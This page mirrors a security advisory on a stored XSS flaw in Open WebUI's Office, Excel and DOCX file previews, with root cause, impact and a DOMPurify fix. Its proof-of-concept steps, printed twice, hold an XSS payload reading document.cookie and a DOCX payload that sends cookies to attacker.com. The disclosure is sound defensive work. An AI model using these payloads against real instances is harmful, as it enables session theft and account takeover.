GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-HCWP-82G6-8WXC

Vulnerability from github – Published: 2026-05-14 20:18 – Updated: 2026-05-19 15:58
VLAI
Summary
Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)
Details

Related advisory

This advisory tracks a regression of the original Excel-preview XSS that was publicly disclosed and patched under GHSA-jwf8-pv5p-vhmc (patched in v0.8.0). The same root cause — XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime after v0.8.0 and is exploitable again as of v0.8.12 and through the version range listed above. This advisory additionally covers the related fileOfficeHtml sink in src/lib/components/chat/FileNav.svelte (lines 458 and 1285) which was not part of the jwf8 advisory's scope.

Summary

Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's {@html} directive without DOMPurify sanitization. While the codebase has DOMPurify available and uses it in 9 out of 23 {@html} locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.

This is a classic defense propagation failure: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.

Root Cause

The defense primitive exists: DOMPurify.sanitize() is imported and used in components like General.svelte, MarkdownInlineTokens.svelte, Banner.svelte, and SVGPanZoom.svelte.

But 3 file-preview paths skip it:

Occurrence 1: FilePreview.svelte — Office HTML

File: src/lib/components/chat/FileNav/FilePreview.svelte line 324

{:else if fileOfficeHtml !== null}
    <div class="office-preview overflow-auto flex-1 min-h-0">
        {@html fileOfficeHtml}   <!-- NO DOMPurify! -->
    </div>

fileOfficeHtml is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.

Occurrence 2: FileItemModal.svelte — Excel HTML

File: src/lib/components/common/FileItemModal.svelte line 560

{@html excelHtml}   <!-- NO DOMPurify! -->

excelHtml is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.

Occurrence 3: FileItemModal.svelte — DOCX HTML

File: src/lib/components/common/FileItemModal.svelte line 590

{@html docxHtml}   <!-- NO DOMPurify! -->

docxHtml is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.

Contrast with Sanitized Paths

For comparison, the same codebase correctly sanitizes in other locations:

<!-- MarkdownInlineTokens.svelte:130 — SAFE -->
{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}

<!-- General.svelte:276 — SAFE -->
{@html DOMPurify.sanitize($config?.license_metadata?.html)}

<!-- Banner.svelte:103 — SAFE -->
{@html DOMPurify.sanitize(marked.parse(...))}

Defense Propagation Gap

Metric Value
Total {@html} usages 23
With DOMPurify 9 (39%)
Without DOMPurify 14 (61%)
Confirmed exploitable (file preview) 3

The remaining 11 unsanitized {@html} usages include syntax highlighting (hljs), KaTeX math rendering, and marked.parse() with sanitizeResponseContent() pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application.

Tested Version

  • Open WebUI v0.8.12 (commit 9bd8425, tag v0.8.12)

Steps to Reproduce

PoC 1: Malicious Excel File

  1. Create a .xlsx file with a cell containing: <img src=x onerror="alert(document.cookie)"> (Using a library like openpyxl to inject raw HTML into cell values)

  2. Upload the file to Open WebUI via the chat file upload

  3. When any user previews the file → excelHtml renders the injected HTML → XSS fires

PoC 2: Malicious DOCX File

  1. Create a .docx file with embedded HTML: xml <w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r>

  2. Upload to Open WebUI

  3. File preview renders docxHtmlXSS fires

PoC 3: Verify Rendering Path

// In browser devtools on Open WebUI, after uploading a file:
// The file preview component renders:
//   FileItemModal → {@html excelHtml}  // no DOMPurify
//   FileItemModal → {@html docxHtml}   // no DOMPurify
//   FilePreview   → {@html fileOfficeHtml}  // no DOMPurify

// Compare with safe path:
//   NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))}  // sanitized!

Impact

  • Stored XSS — malicious file is stored server-side, XSS fires for every user who previews it
  • Session hijacking via document.cookie theft
  • Account takeover — attacker can perform actions as the victim user
  • Data exfiltration — read chat history, API keys, uploaded documents
  • Multi-user environments — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)
  • Defense propagation failure — DOMPurify is available and used elsewhere, but not applied to file preview paths

Suggested Remediation

Apply DOMPurify to all three file preview paths:

<!-- FilePreview.svelte:324 — FIX -->
{@html DOMPurify.sanitize(fileOfficeHtml)}

<!-- FileItemModal.svelte:560 — FIX -->
{@html DOMPurify.sanitize(excelHtml)}

<!-- FileItemModal.svelte:590 — FIX -->
{@html DOMPurify.sanitize(docxHtml)}

Alternatively, adopt a defense-by-default pattern: create a wrapper component that always applies DOMPurify, making unsanitized {@html} usage a code review flag.

References

  • CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
  • OWASP XSS Prevention Cheat Sheet
  • GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45318"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:18:27Z",
    "nvd_published_at": "2026-05-15T22:16:54Z",
    "severity": "MODERATE"
  },
  "details": "## Related advisory\n\nThis advisory tracks a regression of the original Excel-preview XSS that was \npublicly disclosed and patched under [GHSA-jwf8-pv5p-vhmc](https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc) \n(patched in v0.8.0). The same root cause \u2014 `XLSX.utils.sheet_to_html()` output \nrendered via `{@html excelHtml}` without DOMPurify \u2014 was reintroduced sometime \nafter v0.8.0 and is exploitable again as of v0.8.12 and through the version \nrange listed above. This advisory additionally covers the related \n`fileOfficeHtml` sink in `src/lib/components/chat/FileNav.svelte` \n(lines 458 and 1285) which was not part of the jwf8 advisory\u0027s scope.\n\n## Summary\n\nOpen WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte\u0027s `{@html}` directive **without DOMPurify sanitization**. While the codebase has DOMPurify available and uses it in 9 out of 23 `{@html}` locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.\n\nThis is a classic **defense propagation failure**: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.\n\n## Root Cause\n\n**The defense primitive exists**: `DOMPurify.sanitize()` is imported and used in components like `General.svelte`, `MarkdownInlineTokens.svelte`, `Banner.svelte`, and `SVGPanZoom.svelte`.\n\n**But 3 file-preview paths skip it**:\n\n### Occurrence 1: FilePreview.svelte \u2014 Office HTML\n\n**File**: `src/lib/components/chat/FileNav/FilePreview.svelte` line 324\n\n```svelte\n{:else if fileOfficeHtml !== null}\n    \u003cdiv class=\"office-preview overflow-auto flex-1 min-h-0\"\u003e\n        {@html fileOfficeHtml}   \u003c!-- NO DOMPurify! --\u003e\n    \u003c/div\u003e\n```\n\n`fileOfficeHtml` is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.\n\n### Occurrence 2: FileItemModal.svelte \u2014 Excel HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 560\n\n```svelte\n{@html excelHtml}   \u003c!-- NO DOMPurify! --\u003e\n```\n\n`excelHtml` is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.\n\n### Occurrence 3: FileItemModal.svelte \u2014 DOCX HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 590\n\n```svelte\n{@html docxHtml}   \u003c!-- NO DOMPurify! --\u003e\n```\n\n`docxHtml` is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.\n\n## Contrast with Sanitized Paths\n\nFor comparison, the same codebase correctly sanitizes in other locations:\n\n```svelte\n\u003c!-- MarkdownInlineTokens.svelte:130 \u2014 SAFE --\u003e\n{@html DOMPurify.sanitize(token.text, { ADD_ATTR: [\u0027target\u0027] })}\n\n\u003c!-- General.svelte:276 \u2014 SAFE --\u003e\n{@html DOMPurify.sanitize($config?.license_metadata?.html)}\n\n\u003c!-- Banner.svelte:103 \u2014 SAFE --\u003e\n{@html DOMPurify.sanitize(marked.parse(...))}\n```\n\n## Defense Propagation Gap\n\n| Metric | Value |\n|--------|-------|\n| Total `{@html}` usages | 23 |\n| With DOMPurify | 9 (39%) |\n| **Without DOMPurify** | **14 (61%)** |\n| Confirmed exploitable (file preview) | **3** |\n\nThe remaining 11 unsanitized `{@html}` usages include syntax highlighting (`hljs`), KaTeX math rendering, and `marked.parse()` with `sanitizeResponseContent()` pre-processing \u2014 these have varying levels of inherent safety but still represent inconsistent defense application.\n\n## Tested Version\n\n- Open WebUI v0.8.12 (commit `9bd8425`, tag `v0.8.12`)\n\n## Steps to Reproduce\n\n### PoC 1: Malicious Excel File\n\n1. Create a `.xlsx` file with a cell containing:\n   ```\n   \u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n   ```\n   (Using a library like openpyxl to inject raw HTML into cell values)\n\n2. Upload the file to Open WebUI via the chat file upload\n\n3. When any user previews the file \u2192 `excelHtml` renders the injected HTML \u2192 **XSS fires**\n\n### PoC 2: Malicious DOCX File\n\n1. Create a `.docx` file with embedded HTML:\n   ```xml\n   \u003cw:r\u003e\u003cw:t\u003e\u003c![CDATA[\u003csvg onload=\"fetch(\u0027https://attacker.com/steal?c=\u0027+document.cookie)\"\u003e]]\u003e\u003c/w:t\u003e\u003c/w:r\u003e\n   ```\n\n2. Upload to Open WebUI\n\n3. File preview renders `docxHtml` \u2192 **XSS fires**\n\n### PoC 3: Verify Rendering Path\n\n```javascript\n// In browser devtools on Open WebUI, after uploading a file:\n// The file preview component renders:\n//   FileItemModal \u2192 {@html excelHtml}  // no DOMPurify\n//   FileItemModal \u2192 {@html docxHtml}   // no DOMPurify\n//   FilePreview   \u2192 {@html fileOfficeHtml}  // no DOMPurify\n\n// Compare with safe path:\n//   NotebookView \u2192 {@html DOMPurify.sanitize(toStr(output.data[\u0027text/html\u0027]))}  // sanitized!\n```\n\n## Impact\n\n- **Stored XSS** \u2014 malicious file is stored server-side, XSS fires for every user who previews it\n- **Session hijacking** via `document.cookie` theft\n- **Account takeover** \u2014 attacker can perform actions as the victim user\n- **Data exfiltration** \u2014 read chat history, API keys, uploaded documents\n- **Multi-user environments** \u2014 shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)\n- **Defense propagation failure** \u2014 DOMPurify is available and used elsewhere, but not applied to file preview paths\n\n## Suggested Remediation\n\nApply DOMPurify to all three file preview paths:\n\n```svelte\n\u003c!-- FilePreview.svelte:324 \u2014 FIX --\u003e\n{@html DOMPurify.sanitize(fileOfficeHtml)}\n\n\u003c!-- FileItemModal.svelte:560 \u2014 FIX --\u003e\n{@html DOMPurify.sanitize(excelHtml)}\n\n\u003c!-- FileItemModal.svelte:590 \u2014 FIX --\u003e\n{@html DOMPurify.sanitize(docxHtml)}\n```\n\nAlternatively, adopt a **defense-by-default pattern**: create a wrapper component that always applies DOMPurify, making unsanitized `{@html}` usage a code review flag.\n\n## References\n\n- CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)\n- OWASP XSS Prevention Cheat Sheet\n- GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)",
  "id": "GHSA-hcwp-82g6-8wxc",
  "modified": "2026-05-19T15:58:48Z",
  "published": "2026-05-14T20:18:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-hcwp-82g6-8wxc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45318"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…